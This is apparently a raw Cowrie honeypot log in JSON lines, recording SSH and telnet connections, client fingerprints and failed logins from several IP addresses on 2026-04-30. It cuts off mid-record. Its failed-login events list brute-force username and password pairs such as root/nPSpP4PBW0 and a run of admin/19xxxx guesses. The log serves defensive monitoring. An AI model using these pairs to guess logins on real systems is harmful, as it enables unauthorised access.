{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:47.475679Z","src_ip":"192.109.200.78","session":"dd69cb6a0f00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.05151176452637,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:47.660191Z","src_ip":"206.189.71.75","session":"244ddd99e069","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.895081758499146,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:48.507011Z","src_ip":"206.189.71.75","session":"292a38a006f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52032,"dst_ip":"10.17.0.5","dst_port":22,"session":"3005f1e41616","protocol":"ssh","message":"New connection: 192.109.200.78:52032 (10.17.0.5:22) [session: 3005f1e41616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:49.816729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:49.822514Z","src_ip":"192.109.200.78","session":"3005f1e41616","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:50.319544Z","src_ip":"192.109.200.78","session":"3005f1e41616","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":46116,"dst_ip":"159.203.135.109","dst_port":23,"session":"6958882c1a63","protocol":"telnet","message":"New connection: 206.189.71.75:46116 (159.203.135.109:23) [session: 6958882c1a63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:50.446824Z"}
{"eventid":"cowrie.session.closed","duration":36.070014238357544,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:50.765809Z","src_ip":"206.189.71.75","session":"426504193ae4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"reza","password":"reza","message":"login attempt [reza/reza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:50.896871Z","src_ip":"192.109.200.78","session":"3005f1e41616","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.868364095687866,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:51.521582Z","src_ip":"206.189.71.75","session":"645929b7aefc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.355799436569214,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:51.655480Z","src_ip":"206.189.71.75","session":"e9decbd17137","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:51.983006Z","src_ip":"192.109.200.78","session":"3005f1e41616","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52042,"dst_ip":"10.17.0.5","dst_port":22,"session":"19f42b6a57a3","protocol":"ssh","message":"New connection: 192.109.200.78:52042 (10.17.0.5:22) [session: 19f42b6a57a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:54.102859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:54.108362Z","src_ip":"192.109.200.78","session":"19f42b6a57a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:54.191817Z","src_ip":"192.109.200.78","session":"19f42b6a57a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"milad","password":"milad","message":"login attempt [milad/milad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:54.438860Z","src_ip":"192.109.200.78","session":"19f42b6a57a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:55.650362Z","src_ip":"192.109.200.78","session":"19f42b6a57a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":53128,"dst_ip":"159.203.135.109","dst_port":23,"session":"34588ab22e79","protocol":"telnet","message":"New connection: 206.189.71.75:53128 (159.203.135.109:23) [session: 34588ab22e79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:58.420296Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38166,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a84d33b57ba","protocol":"ssh","message":"New connection: 192.109.200.78:38166 (10.17.0.5:22) [session: 6a84d33b57ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:59.281651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:59.353332Z","src_ip":"192.109.200.78","session":"6a84d33b57ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:59.438633Z","src_ip":"192.109.200.78","session":"6a84d33b57ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.57647347450256,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:59.668863Z","src_ip":"206.189.71.75","session":"8b89c3a62017","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin2","message":"login attempt [admin2/admin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:59.990276Z","src_ip":"192.109.200.78","session":"6a84d33b57ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:01.080105Z","src_ip":"192.109.200.78","session":"6a84d33b57ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38174,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf5868fbf563","protocol":"ssh","message":"New connection: 192.109.200.78:38174 (10.17.0.5:22) [session: bf5868fbf563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:02.311105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:02.316031Z","src_ip":"192.109.200.78","session":"bf5868fbf563","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:02.404115Z","src_ip":"192.109.200.78","session":"bf5868fbf563","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123456","message":"login attempt [git/git123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:02.669461Z","src_ip":"192.109.200.78","session":"bf5868fbf563","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:03.754587Z","src_ip":"192.109.200.78","session":"bf5868fbf563","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":6623,"dst_ip":"10.17.0.5","dst_port":22,"session":"8487d5ba6587","protocol":"ssh","message":"New connection: 2.57.121.112:6623 (10.17.0.5:22) [session: 8487d5ba6587]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:04.062029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:04.069798Z","src_ip":"2.57.121.112","session":"8487d5ba6587","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:04.174277Z","src_ip":"2.57.121.112","session":"8487d5ba6587","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"191085","message":"login attempt [admin/191085] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:04.663664Z","src_ip":"2.57.121.112","session":"8487d5ba6587","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.194568157196045,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:05.117159Z","src_ip":"206.189.71.75","session":"9cff2a23039e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":58018,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6ea109bf70f","protocol":"telnet","message":"New connection: 206.189.71.75:58018 (159.203.135.109:23) [session: c6ea109bf70f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:05.449697Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"190989","message":"login attempt [admin/190989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:05.771631Z","src_ip":"2.57.121.112","session":"8487d5ba6587","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":59232,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8862788a851","protocol":"telnet","message":"New connection: 206.189.71.75:59232 (159.203.135.109:23) [session: c8862788a851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:05.942866Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38178,"dst_ip":"10.17.0.5","dst_port":22,"session":"d486fc2088d4","protocol":"ssh","message":"New connection: 192.109.200.78:38178 (10.17.0.5:22) [session: d486fc2088d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:06.461560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:06.466649Z","src_ip":"192.109.200.78","session":"d486fc2088d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:06.554024Z","src_ip":"192.109.200.78","session":"d486fc2088d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"190988","message":"login attempt [admin/190988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:06.878662Z","src_ip":"2.57.121.112","session":"8487d5ba6587","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nPSpP4PBW0","message":"login attempt [root/nPSpP4PBW0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:06.929177Z","src_ip":"192.109.200.78","session":"d486fc2088d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"190986","message":"login attempt [admin/190986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:07.986469Z","src_ip":"2.57.121.112","session":"8487d5ba6587","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:08.430432Z","src_ip":"192.109.200.78","session":"d486fc2088d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":33326,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd36ed8eea38","protocol":"telnet","message":"New connection: 206.189.71.75:33326 (159.203.135.109:23) [session: fd36ed8eea38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:08.704975Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"19081974","message":"login attempt [admin/19081974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:09.092480Z","src_ip":"2.57.121.112","session":"8487d5ba6587","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.49485230445862,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:09.379854Z","src_ip":"206.189.71.75","session":"35b853b1f896","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.19530630111694,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:10.176764Z","src_ip":"206.189.71.75","session":"d42c0f210924","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:10.201239Z","src_ip":"2.57.121.112","session":"8487d5ba6587","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34896,"dst_ip":"10.17.0.5","dst_port":22,"session":"e47c188ec65a","protocol":"ssh","message":"New connection: 192.109.200.78:34896 (10.17.0.5:22) [session: e47c188ec65a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:10.539145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:10.544101Z","src_ip":"192.109.200.78","session":"e47c188ec65a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 